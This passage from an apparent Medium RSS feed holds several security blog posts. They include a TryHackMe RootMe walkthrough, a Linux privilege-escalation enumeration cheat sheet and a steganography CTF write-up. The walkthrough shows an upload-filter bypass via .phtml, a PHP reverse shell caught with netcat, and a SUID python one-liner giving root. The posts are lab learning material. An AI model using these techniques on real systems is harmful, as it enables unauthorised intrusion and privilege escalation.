you post an authentication system on your newly created machine and use a robust(powerful) password easy passwords are the most significant harm in every case and are the initial phase of getting compromised.</p><p><strong>2: Using a thumb drive (I mean a pen drive):-</strong></p><p>This is the most preferred approach as if you land in any problem just burn the pen drive and stay safe simple.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*a9FXPCp971xBwK7zoqQK0Q.jpeg" /></figure><p>Yeah just like that simple. Now let&#39;s set it up.</p><p><strong>Step 1</strong>: Just like you may ever have created a bootable device using your USB the same way we will Fat32 format an 8GB worth of USB. Yes, it is less worthy of it than your privacy so just format it.</p><p><strong>Step 2</strong>: Now as usual we need an OS. The OS image we will use will be a tail OS. Need a link <a href="https://tails.boum.org/install/index.en.html">here</a>.</p><p><strong>Step 3</strong>: Now you need a universal booter to boot this OS on the USB itself I prefer <a href="https://rufus.ie/en/">Rufas</a>, just install it on a machine and then you will need to follow the instructions while booting.</p><p><strong>Step 4</strong>: With all the set and the device ready to boot now just start the universal booter Rufas in my case and for the first section choose Tail.</p><p><strong>Step 5</strong>: Now it will ask for the OS image file use the browse button to get and select the image file you Downloaded.</p><p><strong>Step 6</strong>: Now you will be asked for the Drive you want to install the OS. Select the letter of your USB drive you had placed.</p><p><strong>Step 7</strong>: Spam the create button you will get your drive ready to use.</p><p>Done walla you have completely got through the tedious work to get yourself a storage device to work but now you have to boot into the OS on a pen drive. Here is the last step:-</p><p>Plug in the pen drive restart the machine and hit the hotkey to get into the <strong>BIOS</strong> setting Choose your USB word label and spam the shit out of your enter button.</p><p><strong>DONE </strong>Now your system will boot to Tail OS with pre-installed Tor Browser and VPN</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/198/1*k6XBJOOlmiAidyny9bHE6g.jpeg" /></figure><p>Note If you end up in a random, Wrong situation just burn it simply!</p><h3><strong>Moving Towards the tools section:-</strong></h3><p>Now with all OS and VMs installed, you will just need some more tools to get my legs wet with some surface Dark matter. The most important tool is a TOR browser which has its own security assets attached to it which are good to provide you enough protection but still have multiple reads I was busted with saying that you will need a VPN and do not rely on the TOR VPN alone.</p><h3>Now still there are two approaches to go with</h3><p><strong>1: TOR over VPN</strong></p><p>which means firing your VPN and then using your TOR browser, this is the most used approach as your spoofed IP address will be masked multiple times before making a request.</p><p><strong>2: VPN over TOR</strong></p><p>which means vice versa of the above approach but this way is not much preferred as it doesn&#39;t make sense even in the theoretical approach, first mask your IP and then spoof it hmmm you got the idea.</p><h3><strong>The conclusion only for this first part</strong></h3><p>So up until this point setting up the environment and tools was done but I was still unclear about what am I supposed to look at after entering the secure web now the task was what am I suppose to do here what was I supposed to look at cause I was faced packed with huge bords which I was not supposed to look in.</p><p>So this is what I will be finding Until then you complete the mentioned stuff as a pre-requirement for an upcoming post.</p><p>Until then Goodbye and Thank You</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*99kg_n9q_4Ngp24RXnYrwg.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54004d4572ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Manual Privilege ESC Enumeration]]></title>
            <link>https://medium.com/@4tharva/manual-privilege-esc-enumeration-f6359d7a74aa?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6359d7a74aa</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[privilege]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[manual-exploitation]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Thu, 24 Aug 2023 21:35:18 GMT</pubDate>
            <atom:updated>2023-08-24T21:35:18.397Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*4UFK8UT8M52ExroVuqY0PA.jpeg" /></figure><p>Always look on both the sides blue/red</p><h3><strong>Introduction</strong></h3><p>This particular blog will provide an impactful and manual way of enumerating a machine after obtaining a dumb or a stable shell. This blog will even stuff you or will feed you with more than enough info regarding how the file system works in Linux and what we will take advantage of from the machine that is under our hands.</p><p>It can be called an after-shell enumeration which is done with the intention of leveraging to a better privileged environment. This report will serve as a cheat sheet for that purpose.</p><h3><strong>Execution Requirements / Environment of Choice</strong></h3><p>So why go with the manual approach? even though there are a lot of automated scripts available online that can do the work for you with a high level of efficiency, well these scripts are great when dealing with Capture the Flag and all other challenges but in real environments where there are actual security auditors and firewalls, these scripts make a lot of noise can be captured easily by them, so this gives us the reason to learn more about the manual stuff.</p><p>Yes, having a shell to enumerate the machine is necessary as we need it as our minimal way of interacting with the machine. You can perform this command on your machine as well just to go through your environment to have a practical application on it.</p><h3>What Does Linux response for the command “ls” or “ls-la” actually mean?</h3><p>So let us get started with how Linux makes a file and its permissions look to us.</p><p>When executing the well-known and most used command “ls” or even “ls-la” we get output something like this. This representation is essential for us as the understanding of this response will favor us in finding an exact way to use that file to get our foothold before actually escalating the privilege.</p><h3>“ls”</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*pxtERmFw56QWgS9s31x4Ww.png" /></figure><p>the ls command will return us with the list of existing files and directories on the system which is fair and easy to understand but when executed the “ls — la command”</p><h3>“ls — la”</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*7Sb1WRk0D4AwJOjmcUCJyw.png" /></figure><p>this digs out some more info to your screen. This is the part that is important according to our perspective. Let’s break it down and understand it. As you can see from the response the start of the line tells us about permission given to that file or directory right !? but then y there are 2 presences of the same permission that is what we will discuss, let&#39;s take only one line from the response for our view and break it down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*cPCRkc0vrEjCprcaDCTGuw.png" /></figure><p>The first 2 characters “<strong>rw</strong>” are for the root user which means the root user has permission to read and write to the file.</p><p>The second <strong>“r”</strong> is permission given to all the users on the system is every user can read the file.</p><p>The third <strong>“r”</strong> is permission given to all the users in a group.</p><p>The <strong>“-”</strong> are empty spaces for the permission that can be given to the file for a user on the system or a group. It can be replaced by some other initials such as “x” “w” or an “r”.</p><p>But the leftmost first<strong> “-”</strong> is different it is replaced by many initials such as “d”(directory) “l”(has a symbolic link) “s”(setuid or a stegid is set to this file ) “t” (stick bit set).</p><p>So with this break down now we have enough understanding of the file system environment and we will also be able to understand what file permissions mean before using them in our favor.</p><h3>Beginning of enumeration.</h3><p>So In this section, we will discuss two different ways and even purposes of enumerating a machine</p><p>1: Purpose to enumerate for privilege escalation</p><p>2: Enumerate the network for pivoting to a better or more internal section of the network.</p><h3>To escalate privileges: 🔝🔒</h3><p><strong><em># sudo — l:-</em></strong></p><p>⚫This command in particular will provide you with enough information for the individual users you are invoking/accessing at the movement. This command will list out the command that can be executed as a super user without any password requirement.</p><p>⚫So you may ask what help will it provide to us to list out such commands, much time This sudo access is given to the users for a limited execution time but many times kept as it is which help a threat actor to use those command in his favor to get access and escalated either horizontal or vertically.</p><p>⚫ For example, if a user or employee was allowed to execute the Nmap command using sudo access which was supposed to be taken back after the purpose has been served but sometimes they are kept as it is, we take this as an opportunity, You can find an exploit or a one-liner to convert your shell to a root shell.</p><p><strong># <em>Id </em>:-</strong></p><p>⚫ The id command will tell the invoked user IDs such as <strong>uid</strong> (user ID) <strong>gid </strong>(group ID) and the group’s ID. The accounts with user IDs above 1000 are not default users they are added to the system. The user ID “0&quot; is reserved for the root and can be given to the user as providing them with sudo or super privilege on demand.</p><p>⚫Now how is this helpful to us, Many a time you will identify a group that is not so common or say they are different than usual, such groups can be exploited with some basic installations or exploits that can loaded on the system using the shell access.</p><p><strong>#find command</strong>:-</p><p>⚫ A find command shares close similarity to a grep command but most likely fetches the file we demand from the machine. It is a really handy command that can reduce the headache of moving to each directory to find a particular file you need.</p><p>⚫<strong> Some useful examples are:-</strong></p><p>1: command to find all files for a particular user you need in the home directory.</p><pre>find /home -user frank</pre><p>2: command to find files that have permission to read, write, and execute by all the users on the system.</p><pre>find / -type f -perm 0777</pre><p>3: command to find all the executable files on the machine.</p><pre>find / -perm a=x</pre><p>4: command to find recently accessed or modified</p><pre>find / -mtime 10  #the m means modified <br>find / -atime 10  #the a means accessed     <br><br> #10 means &quot;in recent 10 days &quot;  </pre><p>5: command to find sudi files</p><pre> find / -user root -perm /4000</pre><p>6: command to find a specific file with its name</p><pre>find / -type d -name filename</pre><p>7: command to find files with specific size</p><pre>find / -size 50M  #files size of 50MB</pre><p><strong>#NOTE</strong>:- You can add this to every command specified above at the end to get only successful responses and no failure alerts.</p><pre>                           2&gt;/dev/null</pre><p>for example:-</p><pre>find / -size 50M  2&gt;/dev/null</pre><p>This is it for the manual stuff but not everything is covered I will post one more blog or something like a cheat sheet for multiple related topics such as capabilities, variables, paths, SUID, and some more.</p><h3>2: Enumerate the network 🌐 for pivoting</h3><p>Pivoting means getting access to the internal section of the machine network or something like moving to another network that is connected to the current machine via a router. This means we need control of the network that is connected to our current accessible machine so for that some things to find out thats what we will look after here.</p><p><strong># Knowing which networks are connected.</strong> 🔌💻📶:-</p><p>⚫ A well-known command is enough to check which networks are present in the system.</p><pre>ifconfig</pre><p>As for now you halfway access the machine You can you the command which will show you all the networks present on the system. Something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*WVN7TH0v6vmuznmsNrK2bA.png" /></figure><p>It shows we have three interfaces on the machine at the movement but still, we don&#39;t have any idea which one is connected or which one is accessible to us from our invoked system. To check that we can use the following command.</p><pre>ip route </pre><p># I would suggest using the 🕵️‍♂️ netstat tool on Linux to gather additional information.</p><p>I will provide the most informative can commonly used nestat commands here feel free to copy them according to your need and application.</p><p><strong>1</strong>: To check which interface we found from the ifconfig command is more active or which interface is being used frequently</p><pre>netstat -i</pre><p>output:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*i51hKgjcoe5KGMrHdHq69w.png" /></figure><p>It seems that there is an increase in the usage of eth0.</p><p><strong>2: To check for all the listening ports we can you the following command</strong></p><pre>netstat -l</pre><p><strong>3: To list all the TCP and UDP ports we use this command</strong></p><pre>netstat -at #for tcp <br><br>netstat -au #for udp </pre><p><strong>4: To list all the ports and also the names of the services and their PIDs using them you can use this command</strong></p><pre>netstat -tp</pre><p>So all done so far, So here we can conclude that we can extract enough info which will help us to escalate our privileges to the designated levels we want.</p><p>Make sure You use These practices only for learning purposes and don&#39;t implement them in such a manner that will harm an individual in any way</p><p>That’s it from my side pals, If I get to learn some more about such content I will make sure you put it here in a short LEMAN language.</p><p>Arigatio for going through my write up make user to update me if I went wrong somewhere.</p><p>Bye mata ne</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6359d7a74aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RootMe]]></title>
            <link>https://medium.com/@4tharva/rootme-bad5b8848b48?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/bad5b8848b48</guid>
            <category><![CDATA[root-me]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[simple]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Fri, 11 Aug 2023 10:33:16 GMT</pubDate>
            <atom:updated>2023-08-11T10:33:16.026Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*PoznIQhCnwdOXFU3NEPSqA.png" /></figure><p>My Descriptions :- The hints are to straight forward you can esily solve the room just by reading them . Bad for me i missed then and spent a huge amount of time just to do it my self.</p><p>#TASK 1 connect to machine !</p><p>Done</p><p>#TASK 2 RECON :-</p><p>I approached with a simple nmap scan just with version(-sV) and basic script(-sC ) switches . Here take a look :-</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~]<br>└─$ nmap -sC -sV -Pn 10.10.140.184 -A<br>Starting Nmap 7.93 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2023–08–11 04:35 EDT<br>Nmap scan report for 10.10.140.184<br>Host is up (0.13s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)<br>| 256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)<br>|_ 256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: HackIT — Home<br>| http-cookie-flags: <br>| /: <br>| PHPSESSID: <br>|_ httponly flag not set<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p><p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 31.74 seconds</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>This scan answers our first three questions</p><p>Q1 :- open ports : 2</p><p>Q2 :- version : 2.4.29</p><p>Q3 :- service :- ssh</p><p>Simple for now !</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>now as they asked us to enumerate directory of the $IP lest do that i used gobuster with common.txt and got this .</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~]<br>└─$ gobuster dir -u <a href="http://10.10.13.236/">http://10.10.13.236</a> — wordlist /usr/share/dirb/wordlists/common.txt <br>===============================================================<br>Gobuster v3.5<br>by OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>) &amp; Christian Mehlmauer (<a href="http://twitter.com/firefart">@firefart</a>)<br>===============================================================<br>[+] Url: <a href="http://10.10.13.236/">http://10.10.13.236</a><br>[+] Method: GET<br>[+] Threads: 10<br>[+] Wordlist: /usr/share/dirb/wordlists/common.txt<br>[+] Negative Status codes: 404<br>[+] User Agent: gobuster/3.5<br>[+] Timeout: 10s<br>===============================================================<br>2023/08/11 05:37:32 Starting gobuster in directory enumeration mode<br>===============================================================<br>/.htpasswd (Status: 403) [Size: 277]<br>/.hta (Status: 403) [Size: 277]<br>/.htaccess (Status: 403) [Size: 277]<br>/css (Status: 301) [Size: 310] [ → <a href="http://10.10.13.236/css/">http://10.10.13.236/css/</a>]<br>/index.php (Status: 200) [Size: 616]<br>/js (Status: 301) [Size: 309] [ → <a href="http://10.10.13.236/js/">http://10.10.13.236/js/</a>]<br>/panel (Status: 301) [Size: 312] [ → <a href="http://10.10.13.236/panel/">http://10.10.13.236/panel/</a>]<br>/server-status (Status: 403) [Size: 277]<br>/uploads (Status: 301) [Size: 314] [ → <a href="http://10.10.13.236/uploads/">http://10.10.13.236/uploads/</a>]<br>Progress: 4606 / 4616 (99.78%)<br>===============================================================<br>2023/08/11 05:38:50 Finished<br>===============================================================</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>This shows 2 directory which are obviously weird and are connected really</p><p>SO the ans for the :-</p><p>Q5 is /panel/</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>#UPLOADING REVERSE SHELL</p><p>So i visited the panel directory there was upload file options, where the files was allowed to upload form our own system. So what next you ask ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qGgtONHrXQ3l-K6au-iwlQ.png" /></figure><p>Simple answer Upload a reverse shell on it. So I uploaded a php reverse shell on it but…….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MpYQZqIXtgDs1uuVsQbBRw.png" /></figure><p>The page didn&#39;t liked it. So i thought is it only with php or all the other files ??</p><p>Lets try with a text file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xiXAqYX9NEJl407dVkqxfg.png" /></figure><p>Good it gets uploaded.</p><p>And remember I said that the uploads directory is connected to this directory, this is how it is connected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1YAcAs7T_zIA7SXMMLL3UQ.png" /></figure><p>Our uploaded files are shown here .</p><p>If a text file gets uploaded then it means the script of the page only gives the red warning report for the php extension files.But a php file can still be camouflaged by its another extension the .phtml .So i just changed the extension and uploaded it and Boom…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xiXAqYX9NEJl407dVkqxfg.png" /></figure><p>It get uploaded.</p><p>Ahhh you guys need the file too here it is :-</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell</a></p><p>Go ahead and Download it or copy it but dont forget to save with .phtml extension.</p><p>Our uploaded file is now visible in the uploads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_m-IVbJDtMln8oePkXAFWA.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Now just some more simple steps to get the revser shell</p><p>get ur netcat online on the same port as exploit</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~]<br>└─$ nc -lnvp 4242<br>listening on [any] 4242 …</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>And the open the upload directory in the web browser and just click on our uploaded php file, yes simple we got the shell .</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~]<br>└─$ nc -lnvp 4242<br>listening on [any] 4242 …<br>connect to [10.17.55.200] from (UNKNOWN) [10.10.13.236] 49680<br>Linux rootme 4.15.0–112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux<br> 10:07:55 up 34 min, 0 users, load average: 0.00, 0.00, 0.10<br>USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can’t access tty; job control turned off<br>$</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>#USER.txt</p><p>Now lest stabilize the shell ..</p><p>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</p><p>Now get cat the user.txt file</p><p>Didn&#39;t Found it ?</p><p>its ok use this command</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>find -name user.txt 2&gt; /dev/null</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>But first move yourself out of every directory something like this</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>www-data@rootme:/$ find -name user.txt 2&gt; /dev/null<br>find -name user.txt 2&gt; /dev/null<br>./var/www/user.txt<br>www-data@rootme:/$</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>This is the dir where the user.txt is go get it .</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p># Privilege escalation to root and Root.txt</p><p>Now we need root.txt so let get our self into the shoes of root.</p><p>So as we don’t have access to sudo command I decided to find the SUID file which will tell us what are we allowed to execute.</p><p>The hist gives the command to find the SUDI file but I modified it this command it better as it don’t give any garbage to us</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>find / -user root -perm /4000 2&gt; /dev/null</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>This is what we got after running it</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>www-data@rootme:/$ find / -user root -perm /4000 2&gt; /dev/null<br>find / -user root -perm /4000 2&gt; /dev/null<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/snapd/snap-confine<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/bin/traceroute6.iputils<br>/usr/bin/newuidmap<br>/usr/bin/newgidmap<br>/usr/bin/chsh<br>/usr/bin/python</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>#the output was huge but i striped it</p><p>looking above we found that there is a python SUDI I was knowing there is a exploit for it on <a href="https://gtfobins.github.io/gtfobins/python/">gtfobins </a>so looked there and got the one line command to get myself to root it</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><pre>python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Just run the above command and now you are root go get the last flag</p><p>In my terminal it looks like this</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>www-data@rootme:/$ python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’<br>python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’<br># whoami<br>whoami<br>root<br>#</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>go cat the file quick ….</p><p>And you are done .</p><p>Thank you !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bad5b8848b48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Impossible Challenge]]></title>
            <link>https://medium.com/@4tharva/the-impossible-challenge-398995181331?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/398995181331</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Thu, 10 Aug 2023 16:51:41 GMT</pubDate>
            <atom:updated>2023-08-11T16:58:19.614Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/265/1*lepejKr2ebDGNagn6kAfrw.png" /></figure><p>Description :- It really is a huge rabit hole trapp machine cause it has only one flag which is tempting for sure, it has a download file and some encrypted stuff shown to us on the task 1 and a hint referring to the stenography. But it’s really hard to understand these hints and encryption.</p><p>Task 1 :-</p><p>#The Download file :-</p><p>After downloading the zip file I tried to unzip it but it is protected by a password sooo………I thought what does it even have can it provide after extracting</p><p>cause I don’t want to waste my time of john if the file has nothing.</p><p>So is used binwalk which in return extract the zip file but it extract it more like a sudo it will just extract the files with name and not with the content inside it.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~/Downloads]</p><p>└─$ binwalk -e Impossible.zip</p><p>DECIMAL HEXADECIMAL DESCRIPTION</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>0 0x0 Zip archive data, encrypted at least v2.0 to extract, compressed size: 102, uncompressed size: 91, name: flag.txt</p><p>230 0xE6 End of Zip archive, footer length: 22</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>So it do have the flag file . Now lest try john on it</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~/Downloads]</p><p>└─$ john imp.hash</p><p>Using default input encoding: UTF-8</p><p>Loaded 1 password hash (PKZIP [32/64])</p><p>Will run 4 OpenMP threads</p><p>Proceeding with single, rules:Single</p><p>Press ‘q’ or Ctrl-C to abort, almost any other key for status</p><p>Almost done: Processing the remaining buffered candidate passwords, if any.</p><p>Proceeding with wordlist:/usr/share/john/password.lst</p><p>Proceeding with incremental:ASCII</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Nothing………..</p><p>#The Encrypted text :-</p><p>qo qt q` r6 ro su pn s_ rn r6 p6 s_ q2 ps qq rs rp ps rt r4 pu pt qn r4 rq pt q` so pu ps r4 sq pu ps q2 su rn on oq o_ pu ps ou r5 pu pt r4 sr rp qt pu rs q2 qt r4 r4 ro su pq o5</p><p>So after using an online encryption identifier I got it decoded somehow.It is a triple encrypted text from :-</p><p>rot13 &gt; rot47 &gt; Hex &gt; Base64</p><p>All i got form decoding it was :-</p><p>It’s inside the text, in front of your eyes!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_b2VOMqgi1J3FvnihWmsA.png" /></figure><p>Which is not at all helpful at first, But then I thought that there were some challenges where we could inspect the current web page.I found the description was so dull maybe so i only inspected that part of the page first and found it strange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lgfkFFzoiQmzPwkl06TUQ.png" /></figure><p>And most weird part was when just copied the “Hmm” text from the description and pasted it on my terminal it looked like this</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>┌──(kali㉿kali)-[~]</p><p>└─$ &lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;Hmm&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;feff&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;202c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200d&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;202c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;202c&gt;&lt;202c&gt;</p><p>Weird right ?.</p><p>After using this encoder I finally was dropped with the password</p><p><a href="https://330k.github.io/misc_tools/unicode_steganography.html">https://330k.github.io/misc_tools/unicode_steganography.html</a></p><p>Sure The password is hidden .</p><p>Follow the process I made it hell simple to go through Enjoy and complete the room.</p><p>Thank You !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=398995181331" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting Started with Active Directory]]></title>
            <link>https://medium.com/@4tharva/getting-started-with-active-directory-25794cc39e70?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/25794cc39e70</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Mon, 07 Aug 2023 10:34:29 GMT</pubDate>
            <atom:updated>2023-08-07T10:34:29.697Z</atom:updated>
